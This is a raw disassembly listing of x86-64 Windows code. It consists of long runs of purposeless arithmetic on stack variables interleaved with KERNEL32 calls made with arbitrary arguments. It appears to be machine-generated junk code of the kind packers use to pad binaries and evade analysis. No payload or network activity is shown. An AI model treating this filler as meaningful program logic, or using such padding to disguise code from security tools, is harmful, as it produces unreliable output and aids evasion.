mov rax, qword [rsp + 0x154b0]
mov ecx, dword [rsp + 0x62c0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x82ac], eax
mov rax, qword [rsp + 0x14988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9114], eax
lea rax, [rsp + 0x2aa8]
mov qword [rsp + 0x15e98], rax
mov rax, qword [rsp + 0x15aa0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x148c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13468]
mov byte [rcx], al
lea rax, [rsp + 0xace8]
mov qword [0x140364030], rax
mov rax, qword [rsp + 0x138f0]
mov rcx, qword [rsp + 0x156d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x133c8]
mov dword [rcx], eax
lea rax, [0x14035cc88]
mov qword [rsp + 0x15ea0], rax
mov rax, qword [rsp + 0x13ec8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8414]
shr eax, cl
mov rcx, qword [rsp + 0x13ef8]
mov dword [rcx], eax
lea rax, [rsp + 0x328]
mov qword [rsp + 0x15ea8], rax
movzx eax, word [rsp + 0x2b98]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x13608]
mov rcx, qword [rsp + 0x15bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x15310]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15eb0], rax
mov eax, dword [rsp + 0x9218]
mov dword [rsp + 0xb098], eax
mov eax, dword [rsp + 0xb014]
mov ecx, dword [rsp + 0xa8a0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6554]
mov ecx, dword [rsp + 0xaf18]
and ecx, eax
mov eax, ecx
mov dword [0x140363d80], eax
mov rax, qword [rsp + 0x15318]
mov rcx, qword [0x140363cb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7884], eax
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x71a]
add eax, ecx
mov byte [rsp + 0x5e1], al
movsx eax, word [rsp + 0x16c8]
mov rcx, qword [rsp + 0x14960]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a9c], ax
lea rax, [0x140353583]
mov qword [rsp + 0x15eb8], rax
movzx eax, word [rsp + 0x1a6c]
mov rcx, qword [rsp + 0x13778]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x154f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13cf0]
mov eax, dword [rax]
mov dword [rsp + 0xb09c], eax
movzx ecx, word [rsp + 0x2b58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x29bc], ax
mov rax, qword [0x140363ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7884]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15650]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x42a]
movzx ecx, byte [rsp + 0x434]
sub eax, ecx
mov byte [rsp + 0x6f6], al
mov rax, qword [rsp + 0x14308]
movzx eax, word [rax]
mov word [0x1403630b4], ax
lea rax, [0x140363b80]
mov qword [rsp + 0x15ec0], rax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8db4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9564], eax
mov eax, dword [rsp + 0x9f08]
mov dword [rsp + 0xb0a0], eax
mov eax, dword [0x140363b80]
mov ecx, dword [rsp + 0xaac8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b80], eax
lea rax, [rsp + 0x6b5]
mov qword [rsp + 0x15ec8], rax
movzx eax, word [rsp + 0x2d0c]
movzx ecx, word [rsp + 0x2b00]
sub eax, ecx
mov rcx, qword [rsp + 0x13a20]
mov word [rcx], ax
mov rax, qword [rsp + 0x14250]
mov rcx, qword [rsp + 0x15868]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14710]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6d14]
movzx ecx, al
mov eax, dword [rsp + 0x8508]
sar eax, cl
mov dword [rsp + 0x8168], eax
lea rax, [rsp + 0x2344]
mov qword [0x140364038], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab94], eax
movsx eax, byte [rsp + 0x71a]
mov rcx, qword [0x140363ce0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6bb], al
mov rax, qword [rsp + 0x15bc8]
movzx eax, word [rax]
mov word [rsp + 0x2d7c], ax
mov rax, qword [rsp + 0x13410]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13518]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14798]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.JUzFet3DSl3oeq0iU5OSH0RaB4UcXTNAvRfcFDD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15ed0], rax
mov eax, dword [rsp + 0xac08]
mov ecx, dword [rsp + 0x83e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xafe4], eax
lea rax, [rsp + 0xae20]
mov qword [rsp + 0x15ed8], rax
mov rax, qword [rsp + 0x147a0]
mov ecx, dword [rsp + 0xaaa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8a30], eax
lea rax, [0x140363b44]
mov qword [rsp + 0x15ee0], rax
mov rax, qword [rsp + 0x15408]
mov rcx, qword [rsp + 0x13fc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa30], eax
movzx eax, byte [rsp + 0x6c6]
movzx ecx, byte [rsp + 0x6bc]
add eax, ecx
mov rcx, qword [rsp + 0x13568]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2cb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a70], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa8f4], eax
mov r9d, 0x1e7e
xor r8d, r8d
lea rdx, [rsp + 0x15de0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xb0a4], eax
mov rax, qword [rsp + 0x134d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1510]
and eax, ecx
mov word [0x140362bdc], ax
lea rax, [rsp + 0x9c18]
mov qword [rsp + 0x15ee8], rax
mov eax, dword [rsp + 0xadc0]
mov ecx, dword [rsp + 0x80ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3a8], eax
mov eax, dword [rsp + 0xae0c]
mov ecx, dword [rsp + 0x8c20]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa49c], eax
mov rax, qword [rsp + 0x15848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15780]
mov dword [rcx], eax
lea rcx, [rsp + 0x41e38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x328]
mov qword [rsp + 0x15ef0], rax
mov rax, qword [0x140363ab8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25e0]
sub eax, ecx
mov rcx, qword [rsp + 0x14330]
mov word [rcx], ax
movsx eax, byte [rsp + 0x238]
mov rcx, qword [rsp + 0x153d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14f48]
mov byte [rcx], al
movzx eax, word [0x14035cc94]
mov word [rsp + 0x2d80], ax
lea rax, [rsp + 0x8780]
mov qword [0x140364040], rax
mov rax, qword [rsp + 0x14d10]
mov rcx, qword [rsp + 0x15210]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xaf64], eax
mov rcx, qword [rsp + 0x13bc0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x21e4]
mov word [rsp + 0x2d84], ax
movzx eax, byte [0x14035e4a6]
movzx ecx, byte [rsp + 0x65d]
shl eax, cl
mov rcx, qword [rsp + 0x13d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x14df8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xad8c]
sar eax, cl
mov dword [rsp + 0xaf30], eax
mov rax, qword [rsp + 0x15ec0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x909c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c0], eax
mov eax, dword [rsp + 0x8134]
mov ecx, dword [rsp + 0x8428]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2bc], eax
mov eax, dword [rsp + 0xb01c]
mov dword [rsp + 0xb0a8], eax
movzx ecx, word [rsp + 0x2c44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c14], ax
movzx eax, byte [rsp + 0x710]
movzx ecx, byte [0x1403535af]
and eax, ecx
mov byte [rsp + 0x6cf], al
mov rax, qword [rsp + 0x14bd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13a20]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140363bb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13640]
mov ecx, dword [0x140363fd8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13358]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8e08]
mov ecx, dword [rsp + 0x7848]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa54c], eax
mov rax, qword [rsp + 0x14c30]
mov ecx, dword [rsp + 0xb00c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa49c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb0ac], eax
lea rax, [rsp + 0xadf8]
mov qword [rsp + 0x15ef8], rax
lea rcx, [rsp + 0x41a18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13680]
mov rcx, qword [rsp + 0x13258]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13cd0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1868]
mov rcx, qword [rsp + 0x149c0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16c8], ax
lea rax, [0x1403535ba]
mov qword [rsp + 0x15f00], rax
mov rax, qword [rsp + 0x14b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d08]
add eax, ecx
mov rcx, qword [rsp + 0x13500]
mov word [rcx], ax
lea rax, [rsp + 0x676]
mov qword [0x140364048], rax
lea rax, [rsp + 0xae08]
mov qword [rsp + 0x15f08], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac38], eax
mov rcx, qword [rsp + 0x15578]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x45dc8]
mov rcx, qword [rsp + 0x15750]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb0b0], eax
mov rax, qword [0x140363a38]
mov rcx, qword [rsp + 0x13b68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x15880]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13e10]
movzx eax, byte [rax]
mov byte [rsp + 0x740], al
mov rax, qword [rsp + 0x153b0]
movzx eax, word [rax]
mov rcx, qword [0x140363f20]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14af8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14df8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6af8]
shl eax, cl
mov rcx, qword [rsp + 0x149f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f80]
mov eax, dword [rax]
mov dword [rsp + 0xb0b4], eax
mov rax, qword [rsp + 0x158e8]
mov rcx, qword [rsp + 0x14350]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad10], eax
lea rax, [rsp + 0xb01c]
mov qword [rsp + 0x15f10], rax
mov rax, qword [rsp + 0x13548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x151a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140363d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x151b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14738]
mov word [rcx], ax
mov rax, qword [rsp + 0x15070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab7c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15e78]
mov ecx, dword [rsp + 0xadc4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6438], eax
movsx eax, byte [rsp + 0x400]
movsx ecx, byte [rsp + 0x6c2]
sub eax, ecx
mov rcx, qword [rsp + 0x134f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1334]
mov word [rsp + 0x2d88], ax
mov rax, qword [rsp + 0x132c8]
movzx eax, word [rax]
movzx ecx, word [0x14035cbfc]
add eax, ecx
mov rcx, qword [rsp + 0x151e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x15798]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65c]
sub eax, ecx
mov rcx, qword [rsp + 0x15bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13fe0]
mov rcx, qword [rsp + 0x15758]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x97f8], eax
movzx ecx, word [rsp + 0x2a20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b30], ax
mov rax, qword [0x140363f60]
mov rcx, qword [rsp + 0x152f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140363b84], eax
mov eax, dword [rsp + 0xac84]
mov ecx, dword [rsp + 0x6b2c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15be8]
mov dword [rcx], eax
lea rax, [rsp + 0xab38]
mov qword [rsp + 0x15f18], rax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9f84]
sar eax, cl
mov dword [rsp + 0xaf20], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15f20], rax
mov rax, qword [rsp + 0x15098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x706]
shl eax, cl
mov byte [rsp + 0x6b7], al
movzx eax, word [rsp + 0x292c]
mov word [rsp + 0x2d8c], ax
lea rdx, [rsp + 0x45c40]
mov rcx, qword [rsp + 0x15c38]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa9fc], eax
mov rax, qword [0x140363998]
mov rcx, qword [rsp + 0x14440]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x139c8]
mov dword [rcx], eax
lea rax, [rsp + 0xb09c]
mov qword [rsp + 0x15f28], rax
mov rax, qword [rsp + 0x14978]
mov ecx, dword [0x14035cbdc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7c1c], eax
lea rax, [rsp + 0x71c4]
mov qword [0x140364050], rax
mov rax, qword [rsp + 0x153f0]
movzx eax, word [rax]
mov word [rsp + 0x2d90], ax
mov rax, qword [rsp + 0x15d10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x290]
and eax, ecx
mov rcx, qword [rsp + 0x147c0]
mov byte [rcx], al
mov rax, qword [0x140363f88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14940]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15938]
mov byte [rcx], al
movsx eax, word [rsp + 0x2a78]
movsx ecx, word [rsp + 0x2ad8]
or eax, ecx
mov word [rsp + 0x27b8], ax
mov rax, qword [rsp + 0x14cf8]
mov rcx, qword [rsp + 0x15b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8dc4], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov eax, dword [rsp + 0xa3f4]
mov dword [rsp + 0xb0b8], eax
movzx eax, word [rsp + 0x2b98]
movzx ecx, word [rsp + 0x2c9c]
and eax, ecx
mov word [rsp + 0x2c98], ax
mov rax, qword [rsp + 0x13318]
movzx eax, byte [rax]
mov rcx, qword [0x140363970]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15640]
mov byte [rcx], al
mov rax, qword [rsp + 0x15428]
mov rcx, qword [rsp + 0x14598]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363b18]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb004]
mov ecx, dword [rsp + 0x89bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7030], eax
mov rax, qword [rsp + 0x14b68]
mov eax, dword [rax]
mov ecx, dword [0x14035cbf0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b30]
mov dword [rcx], eax
lea rax, [rsp + 0xac68]
mov qword [rsp + 0x15f30], rax
mov rax, qword [rsp + 0x15be0]
movzx eax, byte [rax]
mov rcx, qword [0x140363e70]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15a78]
mov byte [rcx], al
movzx eax, word [rsp + 0x2d70]
mov rcx, qword [rsp + 0x14330]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14820]
mov word [rcx], ax
lea rax, [rsp + 0xaed8]
mov qword [rsp + 0x15f38], rax
mov rax, qword [rsp + 0x13ad8]
mov rcx, qword [rsp + 0x13eb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8f8c], eax
mov rax, qword [rsp + 0x15370]
mov eax, dword [rax]
mov dword [rsp + 0xb0bc], eax
mov eax, dword [rsp + 0xa9ec]
mov dword [0x140364058], eax
mov rax, qword [rsp + 0x14878]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6b2c]
shl eax, cl
mov dword [rsp + 0xac18], eax
lea rcx, str.j_aVh
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d94], ax
mov rax, qword [0x140363a08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40c]
sar eax, cl
mov byte [rsp + 0x316], al
mov rax, qword [rsp + 0x159b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14a50]
movsx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x14640]
mov word [rcx], ax
lea rdx, [rsp + 0x45e70]
mov rcx, qword [rsp + 0x15b18]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaf84], eax
movzx eax, byte [rsp + 0x416]
movzx ecx, byte [rsp + 0xb4]
or eax, ecx
mov rcx, qword [rsp + 0x157b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x158b0]
movzx eax, word [rax]
mov word [rsp + 0x2d98], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
mov rax, qword [rsp + 0x15f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaee4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb014], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15f40], rax
lea rax, [rsp + 0xb018]
mov qword [rsp + 0x15f48], rax
mov rax, qword [rsp + 0x14038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14840]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x42a], al
mov rax, qword [rsp + 0x14ac8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1403639e0]
mov word [rcx], ax
mov eax, dword [rsp + 0x6ae4]
mov ecx, dword [0x140363de4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c10]
mov eax, dword [rax]
mov dword [rsp + 0xb0c0], eax
mov rax, qword [rsp + 0x14970]
mov ecx, dword [rsp + 0x89bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x149c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x924c]
mov ecx, dword [rsp + 0x6adc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x97b4], eax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x149a8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x158d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x15a30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13af0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14ff0]
mov word [rcx], ax
lea rax, [rsp + 0xad90]
mov qword [rsp + 0x15f50], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2bfb
mov r9d, 0x37ee
mov r8d, 0x3333545a
mov edx, 1
mov rcx, qword [rsp + 0x15c38]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xaf88], eax
mov rax, qword [rsp + 0x154d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x841c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e58]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x238]
movsx ecx, byte [rsp + 0x6c8]
sar eax, cl
mov byte [0x1403535ca], al
mov rax, qword [rsp + 0x14790]
movzx eax, word [rax]
mov word [rsp + 0x2d9c], ax
movzx eax, byte [rsp + 0x72c]
movzx ecx, byte [rsp + 0x6b7]
xor eax, ecx
mov byte [rsp + 0xbb], al
movzx eax, word [rsp + 0x2a80]
movzx ecx, word [rsp + 0x2a44]
shl eax, cl
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov rax, qword [rsp + 0x13358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6618], eax
mov rax, qword [rsp + 0x13a80]
mov ecx, dword [rsp + 0x7b68]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6cb0], eax
lea rax, [rsp + 0x6ad0]
mov qword [rsp + 0x15f58], rax
mov rax, qword [rsp + 0x13f20]
mov ecx, dword [rsp + 0x9d18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac4c], eax
lea rax, [rsp + 0xa96c]
mov qword [rsp + 0x15f60], rax
mov rax, qword [0x140363f78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c7c]
sub eax, ecx
mov word [rsp + 0x2d24], ax
mov rax, qword [rsp + 0x15eb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15100]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140363a50]
mov byte [rcx], al
mov rax, qword [0x140363ad8]
mov ecx, dword [rsp + 0xa8a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15300]
mov dword [rcx], eax
lea rax, [rsp + 0xaa24]
mov qword [rsp + 0x15f68], rax
mov eax, dword [rsp + 0xad00]
mov ecx, dword [rsp + 0xad10]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
lea rax, [0x140363f10]
mov qword [rsp + 0x15f70], rax
mov rcx, qword [rsp + 0x15488]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x15920]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29f8]
sub eax, ecx
mov rcx, qword [rsp + 0x14658]
mov word [rcx], ax
mov rax, qword [rsp + 0x13568]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15b88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15af0]
mov byte [rcx], al
lea rdx, [rsp + 0x45c78]
mov rcx, qword [rsp + 0x15a10]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb0c4], eax
lea rax, [rsp + 0x2a74]
mov qword [rsp + 0x15f78], rax
mov rax, qword [rsp + 0x14fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b1]
and eax, ecx
mov rcx, qword [rsp + 0x15418]
mov byte [rcx], al
mov r9d, 0x1a7
xor r8d, r8d
lea rdx, [rsp + 0x154c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xab94], eax
lea rax, [rsp + 0xac60]
mov qword [0x140364060], rax
lea rax, [rsp + 0xaa6c]
mov qword [rsp + 0x15f80], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1308]
movzx ecx, word [rsp + 0x1e64]
sub eax, ecx
mov word [rsp + 0x24ec], ax
movzx eax, byte [rsp + 0x703]
movzx ecx, byte [rsp + 0x69d]
shl eax, cl
mov rcx, qword [rsp + 0x145a8]
mov byte [rcx], al
lea rax, [rsp + 0x71c4]
mov qword [rsp + 0x15f88], rax
mov rax, qword [rsp + 0x153e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac08]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xab28], eax
mov rax, qword [rsp + 0x14900]
mov eax, dword [rax]
mov dword [rsp + 0xb0c8], eax
mov rax, qword [rsp + 0x15890]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8ab0]
sar eax, cl
mov rcx, qword [rsp + 0x159f0]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0xdad
mov r9d, 0x2a25
mov r8d, 0x3d8a
mov edx, 0x3189
mov rcx, qword [rsp + 0x15750]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xb0b0], eax
lea rax, [rsp + 0x2c48]
mov qword [rsp + 0x15f90], rax
mov rax, qword [rsp + 0x14550]
movzx eax, byte [rax]
mov byte [0x14035e55c], al
mov rax, qword [rsp + 0x15ed8]
mov ecx, dword [rsp + 0xaca4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xab28], eax
mov rax, qword [0x140363b60]
mov rcx, qword [rsp + 0x150d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14050]
mov dword [rcx], eax
lea rax, [rsp + 0xaa6c]
mov qword [rsp + 0x15f98], rax
mov rax, qword [rsp + 0x15d00]
mov ecx, dword [rsp + 0xadc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x81b4], eax
mov rax, qword [rsp + 0x15b48]
mov eax, dword [rax]
mov dword [rsp + 0xb0cc], eax
mov rax, qword [rsp + 0x15678]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13950]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14140]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6da]
movsx ecx, byte [rsp + 0x6f9]
sub eax, ecx
mov rcx, qword [rsp + 0x14bf8]
mov byte [rcx], al
lea rax, [rsp + 0x2d7c]
mov qword [rsp + 0x15fa0], rax
mov rax, qword [rsp + 0x13548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x152c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1403639c8]
mov byte [rcx], al
mov rax, qword [0x140363e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa764]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13be0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f00]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7830], eax
lea rdx, [rsp + 0x46030]
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa2c], eax
movzx eax, word [rsp + 0x2d08]
mov rcx, qword [rsp + 0x134d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d5c], ax
mov rax, qword [0x140363980]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x120]
sub eax, ecx
mov rcx, qword [rsp + 0x139e0]
mov byte [rcx], al
mov eax, dword [rsp + 0xadec]
mov dword [rsp + 0xb0d0], eax
mov rax, qword [rsp + 0x158b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb090]
add ecx, eax
mov eax, ecx
